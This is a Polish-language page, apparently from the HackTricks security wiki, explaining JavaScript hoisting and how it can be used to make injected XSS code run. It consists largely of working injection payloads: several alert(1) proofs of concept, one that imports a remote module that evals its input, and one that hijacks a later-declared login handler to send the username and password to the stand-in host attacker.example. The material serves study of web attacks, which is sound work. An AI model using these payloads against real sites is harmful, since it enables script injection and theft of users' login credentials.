JS Hoisting

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Basic Information

W języku JavaScript opisany jest mechanizm znany jako Hoisting, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie przenoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przechodzi przez skrypt w kilku przejściach.

Podczas pierwszego przejścia silnik parsuje kod, aby sprawdzić błędy składniowe i przekształcić go w abstract syntax tree. Ta faza obejmuje hoisting — proces, w którym pewne deklaracje są przesuwane na początek kontekstu wykonania. Jeśli faza parsowania zakończy się powodzeniem, czyli nie wystąpią błędy składniowe, następuje wykonanie skryptu.

Ważne jest zrozumienie, że:

  1. Skrypt musi być wolny od błędów składniowych, aby mógł zostać wykonany. Zasady składniowe muszą być ściśle przestrzegane.
  2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, chociaż wykonywany kod może różnić się od jego reprezentacji tekstowej.

Types of Hoisting

Na podstawie informacji z MDN wyróżnia się cztery odrębne typy hoistingu w JavaScript:

  1. Value Hoisting: Umożliwia użycie wartości zmiennej w jej zakresie przed linią jej deklaracji.
  2. Declaration Hoisting: Pozwala odwołać się do zmiennej w jej zakresie przed deklaracją bez powodowania ReferenceError, ale wartość zmiennej będzie undefined.
  3. Ten typ powoduje zmianę zachowania w obrębie zakresu, ponieważ zmienna jest traktowana jako zadeklarowana przed swoją rzeczywistą linią deklaracji.
  4. Skutki uboczne deklaracji zachodzą przed oceną reszty kodu, który ją zawiera.

Szczegółowo, deklaracje funkcji wykazują zachowanie typu 1. Słowo kluczowe var demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują let, const i class, wykazują zachowanie typu 3. Na koniec, instrukcje import są unikalne, ponieważ są hoistowane z zachowaniami zarówno typu 1, jak i typu 4.

Scenarios

W związku z tym, jeśli masz scenariusze, w których możesz wstrzyknąć kod JS po tym, jak użyto niezadeklarowanego obiektu, możesz poprawić składnię poprzez jego zadeklarowanie (tak aby twój kod został wykonany zamiast wyrzucać błąd):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Więcej scenariuszy

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Przechwyć późniejsze deklaracje blokując nazwę za pomocą const

Jeśli możesz wykonać kod przed tym, jak zostanie sparsowana najwyższa deklaracja function foo(){...}, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. const foo = ...) uniemożliwi późniejszej deklaracji funkcji ponowne powiązanie tego identyfikatora. Można to wykorzystać w RXSS do przejęcia krytycznych handlerów zdefiniowanych później na stronie:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notatki

  • To opiera się na kolejności wykonywania i globalnym (top-level) zakresie.
  • Jeśli Twój payload jest wykonywany wewnątrz eval(), pamiętaj, że const/let wewnątrz eval są block-scoped i nie utworzą globalnych wiązań. Wstrzyknij nowy element <script> z kodem, aby ustanowić prawdziwy globalny const.

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks